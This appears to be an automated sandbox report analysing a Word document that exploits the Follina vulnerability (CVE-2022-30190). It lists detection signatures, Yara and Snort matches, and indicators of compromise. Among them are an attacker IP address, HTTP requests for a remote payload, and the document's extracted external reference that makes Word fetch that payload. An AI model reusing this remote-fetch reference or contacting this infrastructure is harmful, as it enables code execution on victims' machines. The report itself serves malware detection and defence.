Windows Analysis Report
doc1712.docx

Overview

General Information

Sample Name: doc1712.docx
Analysis ID: 640804
MD5: 7a91b01a037ccbfe6589161643d0a65a
SHA1: 53658a5b5bc577d601e23ae77a34cb44dcba1f27
SHA256: f17f5c8eac3a18c961705a61385e1d2894cc8f22fb33aa3e076a40b826384c60
Infos:

Detection

Follina CVE-2022-30190
Score: 68
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected Microsoft Office Exploit Follina CVE-2022-30190
Snort IDS alert for network traffic
Contains an external reference to another file
Yara signature match
Potential document exploit detected (unknown TCP traffic)
Uses a known web browser user agent for HTTP communication
Internet Provider seen in connection with other malware
Potential document exploit detected (performs HTTP gets)
Document misses a certain OLE stream usually present in this Microsoft Office document type

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: doc1712.docx Virustotal: Detection: 23% Perma Link

Exploits
barindex
Yara detected Microsoft Office Exploit Follina CVE-2022-30190
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1677574B.RES, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8DA8FA91.RES, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\123[1].RES, type: DROPPED
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.32.185.177:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 45.32.185.177:80

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2036726 ET EXPLOIT Possible Microsoft Support Diagnostic Tool Exploitation Inbound (CVE-2022-30190) 45.32.185.177:80 -> 192.168.2.22:49176
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /123.RES HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: 45.32.185.177Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /123.RES HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: 45.32.185.177If-Modified-Since: Tue, 07 Jun 2022 13:20:09 GMTIf-None-Match: "1701-5e0db72a43821"Connection: Keep-Alive
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-CHOOPAUS AS-CHOOPAUS
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: unknown TCP traffic detected without corresponding DNS query: 45.32.185.177
Source: ~WRF{218309EB-4D56-417B-9AE4-46135952AAFD}.tmp.0.dr String found in binary or memory: http://45.32.185
Source: ~WRF{218309EB-4D56-417B-9AE4-46135952AAFD}.tmp.0.dr String found in binary or memory: http://45.32.185.177/123.RES
Source: ~WRF{218309EB-4D56-417B-9AE4-46135952AAFD}.tmp.0.dr String found in binary or memory: http://45.32.185.177/123.RESyX
Source: ~WRF{218309EB-4D56-417B-9AE4-46135952AAFD}.tmp.0.dr String found in binary or memory: http://45.32.185.177:80/123.RES
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{0FB641AE-A3C8-41BE-B49C-07E97C275C10}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /123.RES HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: 45.32.185.177Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /123.RES HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: 45.32.185.177If-Modified-Since: Tue, 07 Jun 2022 13:20:09 GMTIf-None-Match: "1701-5e0db72a43821"Connection: Keep-Alive
Yara signature match
Source: dump.pcap, type: PCAP Matched rule: MAL_Msdt_MSProtocolURI_May22 date = 2022-05-30, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190, reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, score = , modified = 2022-05-31, hash = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1677574B.RES, type: DROPPED Matched rule: MAL_Msdt_MSProtocolURI_May22 date = 2022-05-30, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190, reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, score = , modified = 2022-05-31, hash = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8DA8FA91.RES, type: DROPPED Matched rule: MAL_Msdt_MSProtocolURI_May22 date = 2022-05-30, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190, reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, score = , modified = 2022-05-31, hash = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\123[1].RES, type: DROPPED Matched rule: MAL_Msdt_MSProtocolURI_May22 date = 2022-05-30, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190, reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, score = , modified = 2022-05-31, hash = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~WRF{218309EB-4D56-417B-9AE4-46135952AAFD}.tmp.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: doc1712.docx Virustotal: Detection: 23%
Source: doc1712.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\doc1712.docx
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$oc1712.docx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVR625A.tmp Jump to behavior
Source: classification engine Classification label: mal68.expl.evad.winDOCX@1/18@0/1
Source: ~WRF{218309EB-4D56-417B-9AE4-46135952AAFD}.tmp.0.dr OLE document summary: title field not present or empty
Source: ~WRF{218309EB-4D56-417B-9AE4-46135952AAFD}.tmp.0.dr OLE document summary: author field not present or empty
Source: ~WRF{218309EB-4D56-417B-9AE4-46135952AAFD}.tmp.0.dr OLE document summary: edited time not present or 0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: ~WRF{218309EB-4D56-417B-9AE4-46135952AAFD}.tmp.0.dr Initial sample: OLE indicators vbamacros = False

Persistence and Installation Behavior
barindex
Contains an external reference to another file
Source: document.xml.rels Extracted files from sample: mhtml:http://45.32.185.177:80/123.res!http://45.32.185.177:80/123.res
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 640804 Sample: doc1712.docx Startdate: 07/06/2022 Architecture: WINDOWS Score: 68 17 Snort IDS alert for network traffic 2->17 19 Multi AV Scanner detection for submitted file 2->19 21 Yara detected Microsoft Office Exploit Follina CVE-2022-30190 2->21 23 Contains an external reference to another file 2->23 5 WINWORD.EXE 303 55 2->5         started        process3 dnsIp4 15 45.32.185.177, 49173, 49174, 49175 AS-CHOOPAUS United States 5->15 9 C:\Users\user\AppData\Local\...\8DA8FA91.RES, HTML 5->9 dropped 11 C:\Users\user\AppData\Local\...\1677574B.RES, HTML 5->11 dropped 13 C:\Users\user\AppData\Local\...\123[1].RES, HTML 5->13 dropped file5
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
45.32.185.177
 unknown United States
20473 AS-CHOOPAUS true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://45.32.185.177/123.RES true
  • Avira URL Cloud: safe
 unknown